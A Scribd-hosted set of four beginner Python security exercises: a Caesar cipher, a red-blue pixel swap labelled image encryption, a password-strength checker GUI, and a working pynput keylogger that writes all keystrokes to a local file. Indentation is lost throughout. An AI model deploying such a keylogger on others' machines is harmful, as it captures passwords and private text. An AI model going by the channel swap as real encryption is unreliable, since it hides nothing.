0% found this document useful (0 votes)
11 views11 pages

Case

Case study

Uploaded by

Lakkasha Prasad
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views11 pages

Case

Case study

Uploaded by

Lakkasha Prasad
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 11

Program 1

def caesar_encrypt(text, shift):

encryp_txt = ""

for char in text:

if char.isalpha():

shift_value = ord('A') if char.isupper() else ord('a')

encrypt_char = chr((ord(char) - shift_value + shift) % 26 +


shift_value)

encryp_txt += encrypt_char

else:

encryp_txt += char

return encryp_txt

def caesar_decrypt(text, shift):

return caesar_encrypt(text, -shift)

def main():

while True:

print(" ")

choice = input("Would you like to (E)ncrypt or (D)ecrypt a message?


(Q to quit): ").upper()

if choice == 'Q':

break

elif choice in ['E', 'D']:

print(" ")

message = input("Enter your message: ")

print(" ")

shift = int(input("Enter the shift value (0-25): "))

print(" ")
if choice == 'E':

encrypted_message = caesar_encrypt(message, shift)

print(f"Encrypted message: {encrypted_message}")

print(" ")

else:

decrypted_message = caesar_decrypt(message, shift)

print(f"Decrypted message: {decrypted_message}")

print(" ")

else:

print("Invalid choice. Please choose E, D, or Q.")

print(" ")

if __name__ == "__main__":

main()

program 2
from PIL import Image

def encrypt_image(input_image_path, output_image_path):

# Open the image

with Image.open(input_image_path) as img:

# Convert the image to RGB mode

img = img.convert("RGB")

# Get the size of the image

width, height = img.size

# Load the pixel data

pixels = img.load()

# Swap the red and blue pixels

for x in range(width):

for y in range(height):

r, g, b = pixels[x, y]

pixels[x, y] = (b, g, r)

# Save the encrypted image

img.save(output_image_path)

def decrypt_image(input_image_path, output_image_path):

# Open the image

with Image.open(input_image_path) as img:

# Convert the image to RGB mode

img = img.convert("RGB")

# Get the size of the image


width, height = img.size

# Load the pixel data

pixels = img.load()

# Swap the red and blue pixels back

for x in range(width):

for y in range(height):

b, g, r = pixels[x, y]

pixels[x, y] = (r, g, b)

# Save the decrypted image

img.save(output_image_path)

# Example usage:

encrypt_image('demo.jpg', 'encrypted_image.jpg')

decrypt_image('encrypted_image.jpg', 'decrypted_image.jpg')

program 3

import re

import tkinter as tk

from tkinter import messagebox, ttk

import pyperclip
def assess_password_strength(password):

length_criteria = len(password) >= 8

uppercase_criteria = re.search(r'[A-Z]', password) is not None

lowercase_criteria = re.search(r'[a-z]', password) is not None

number_criteria = re.search(r'[0-9]', password) is not None

special_char_criteria = re.search(r'[@$!%*?&]', password) is not None

criteria_met = sum([length_criteria, uppercase_criteria,


lowercase_criteria,

number_criteria, special_char_criteria])

if criteria_met == 5:

strength = "Very Strong"

elif criteria_met == 4:

strength = "Strong"

elif criteria_met == 3:

strength = "Moderate"

elif criteria_met == 2:

strength = "Weak"

else:

strength = "Very Weak"

feedback = []

if not length_criteria:

feedback.append("Password should be at least 8 characters long.")

if not uppercase_criteria:

feedback.append("Password should contain at least one uppercase


letter.")

if not lowercase_criteria:
feedback.append("Password should contain at least one lowercase
letter.")

if not number_criteria:

feedback.append("Password should contain at least one number.")

if not special_char_criteria:

feedback.append("Password should contain at least one special


character (e.g., @$!%*?&).")

return strength, feedback

def evaluate_password(event=None):

password = entry.get()

strength, feedback = assess_password_strength(password)

result_label.config(text=f"Password Strength: {strength}")

feedback_text.delete(1.0, tk.END)

if feedback:

feedback_text.insert(tk.END, "Feedback:\n")

for line in feedback:

feedback_text.insert(tk.END, f"- {line}\n")

else:

feedback_text.insert(tk.END, "Your password meets all strength


criteria!")

def on_password_change(event):

password = entry.get()

strength, feedback = assess_password_strength(password)

result_label.config(text=f"Password Strength: {strength}")

update_strength_meter(strength)
feedback_text.delete(1.0, tk.END)

if feedback:

feedback_text.insert(tk.END, "Feedback:\n")

for line in feedback:

feedback_text.insert(tk.END, f"- {line}\n")

else:

feedback_text.insert(tk.END, "Your password meets all strength


criteria!")

def update_strength_meter(strength):

if strength == "Very Strong":

strength_meter['value'] = 100

elif strength == "Strong":

strength_meter['value'] = 80

elif strength == "Moderate":

strength_meter['value'] = 60

elif strength == "Weak":

strength_meter['value'] = 40

else:

strength_meter['value'] = 20

def copy_password_to_clipboard():

password = entry.get()

pyperclip.copy(password)

messagebox.showinfo("Password Copied", "The password has been


copied to the clipboard.")

# Set up the main application window

root = tk.Tk()

root.title("Advanced Password Strength Checker")


root.geometry("500x400")

root.config(bg="#1e1e1e")

# Create a frame for the input

input_frame = tk.Frame(root, bg="#2e2e2e")

input_frame.pack(pady=20, padx=20, fill="x")

# Create widgets

entry_label = tk.Label(input_frame, text="Enter a password:",


bg="#2e2e2e", fg="#f0f0f0", font=("Helvetica", 12))

entry = tk.Entry(input_frame, width=30, font=("Helvetica", 12),


show="*")

copy_button = tk.Button(input_frame, text="Copy",


command=copy_password_to_clipboard, font=("Helvetica", 12),

bg="#2980b9", fg="#f0f0f0", relief="flat")

entry_label.grid(row=0, column=0, pady=10, padx=10, sticky="e")

entry.grid(row=0, column=1, pady=10, padx=10)

copy_button.grid(row=1, column=1, pady=10)

# Bind the Enter key and password changes to functions

entry.bind('<Return>', evaluate_password)

entry.bind('<KeyRelease>', on_password_change)

# Create a frame for the output

output_frame = tk.Frame(root, bg="#2e2e2e")

output_frame.pack(pady=10, padx=20, fill="both", expand=True)

# Strength meter
strength_meter = ttk.Progressbar(output_frame, orient="horizontal",
length=200, mode="determinate")

strength_meter.pack(pady=10)

result_label = tk.Label(output_frame, text="", bg="#2e2e2e",


fg="#f0f0f0", font=("Helvetica", 14, "bold"))

feedback_text = tk.Text(output_frame, width=50, height=10,


wrap="word", font=("Helvetica", 10), bg="#3e3e3e",

fg="#f0f0f0", relief="flat")

result_label.pack(pady=10)

feedback_text.pack(pady=10, padx=10, fill="both", expand=True)

# Start the main event loop

root.mainloop()

program 4

from pynput import keyboard

log_file = "keylogs.txt"

shift_keys = {keyboard.Key.shift, keyboard.Key.shift_l,


keyboard.Key.shift_r}

ctrl_keys = {keyboard.Key.ctrl_l, keyboard.Key.ctrl_r}


modifier_keys = {

keyboard.Key.space: ' ',

keyboard.Key.enter: '\n',

keyboard.Key.backspace: '<BACKSPACE>',

keyboard.Key.tab: '<TAB>',

keyboard.Key.ctrl_l: '<CTRL>',

keyboard.Key.ctrl_r: '<CTRL>',

keyboard.Key.alt_l: '<ALT>',

keyboard.Key.alt_r: '<ALT>'

def on_press(key):

with open(log_file, 'a') as f:

if key in modifier_keys:

f.write(modifier_keys[key])

elif key in shift_keys or key in ctrl_keys:

pressed_keys.add(key) # Track pressed modifier keys

else:

try:

if key.char:

if keyboard.Key.ctrl_l in pressed_keys or keyboard.Key.ctrl_r


in pressed_keys:

if key.char.lower() == 'c':

f.write('<CTRL+C>')

elif key.char.lower() == 'v':

f.write('<CTRL+V>')

else:

f.write(f'<CTRL+{key.char.upper()}>')

elif any(k in pressed_keys for k in shift_keys):


f.write(key.char.upper())

else:

f.write(key.char)

except AttributeError:

pass

def on_release(key):

if key == keyboard.Key.esc:

return False

if key in shift_keys or key in ctrl_keys:

pressed_keys.discard(key)

elif key in modifier_keys:

pass # No action needed for modifier keys on release

else:

try:

pressed_keys.discard(key)

except KeyError:

pass

pressed_keys = set()

with keyboard.Listener(

on_press=lambda key: pressed_keys.add(key) or on_press(key),

on_release=on_release) as listener:

listener.join()

You might also like